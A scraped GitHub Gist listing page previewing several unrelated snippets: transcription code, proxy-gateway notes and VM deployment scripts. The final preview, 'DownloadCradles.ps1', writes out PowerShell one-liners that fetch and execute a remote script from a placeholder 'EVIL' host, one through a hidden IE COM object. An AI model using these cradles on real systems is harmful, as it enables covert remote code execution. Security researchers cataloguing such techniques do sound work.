Skip to content

Instantly share code, notes, and snippets.

@juanmc2005
juanmc2005 / diart_whisper.py
Last active July 15, 2024 07:47
Code for my tutorial "Color Your Captions: Streamlining Live Transcriptions with Diart and OpenAI's Whisper". Available at https://medium.com/@juanmc2005/color-your-captions-streamlining-live-transcriptions-with-diart-and-openais-whisper-6203350234ef
import logging
import os
import sys
import traceback
from contextlib import contextmanager
import diart.operators as dops
import numpy as np
import rich
import rx.operators as ops
@phlinhng
phlinhng / a-clash-tproxy-gateway.md
Last active June 2, 2024 09:55
Clash as transparent proxy gateway via TPROXY

Notes

  1. If your local network use public IP ranges instead of private ones, make sure to add respecive RETURN rules to iptables to prevent looping issue
  2. Set clash as DHCP's only DNS server to allow domain-based filter (shunting) rules work
  3. Use lsof -i udp:53 to check if clash's DNS module work fine, otherwise you may have to kill systemd-resolved and any other processes occupying the UDP 53 port
  4. The given scripts will NOT hangle the traffic of gateway itself since it is not recommend to do so. If you want to redirect the egress traffic of the gateway, the following material may be useful

Reference

@asvignesh
asvignesh / deployvm.sh
Created January 2, 2019 17:23
Deploy multiple virtual machines from template using powercli
# Specify vCenter Server, vCenter Server username and vCenter Server user password
$vCenter="lab.asvignesh.in"
$vCenterUser="administrator@vsphere.local"
$vCenterPassword="secretPassword"
#
# Specify number of VMs
$vm_count = "100"
#
# Specify the template
$tempate = "W2k12"
@darrenjrobinson
darrenjrobinson / DeployMIMLab.ps1
Last active March 11, 2020 04:40
DeployAzureRMMIMLab
#****Don't forget to go and get the Invoke-Parallel.ps1 script referenced in the associated blog post.*****
#Global Variables
# Where do we want to put the VM's
$global:locName = 'Australia East'
# Resource Group name
$global:rgName = 'MIM2016-Dev10'
# Virtual Network Name
$global:virtNetwork = 'MIM-Net10'
# Set variable values
$resourceGroupName = "SnapshotDemo"
$location = "West US"
$vmName = "SnapshotDemo"
$vmSize = "Standard_A1"
$vnetName = "SnapshotDemo"
$nicName = "snapshotdemo98"
$dnsName = "snapshotdemo"
$diskName = "SnapshotDemo"
$storageAccount = "snapshotdemo5062"
@HarmJ0y
HarmJ0y / DownloadCradles.ps1
Last active July 18, 2024 03:59
Download Cradles
# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")
# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object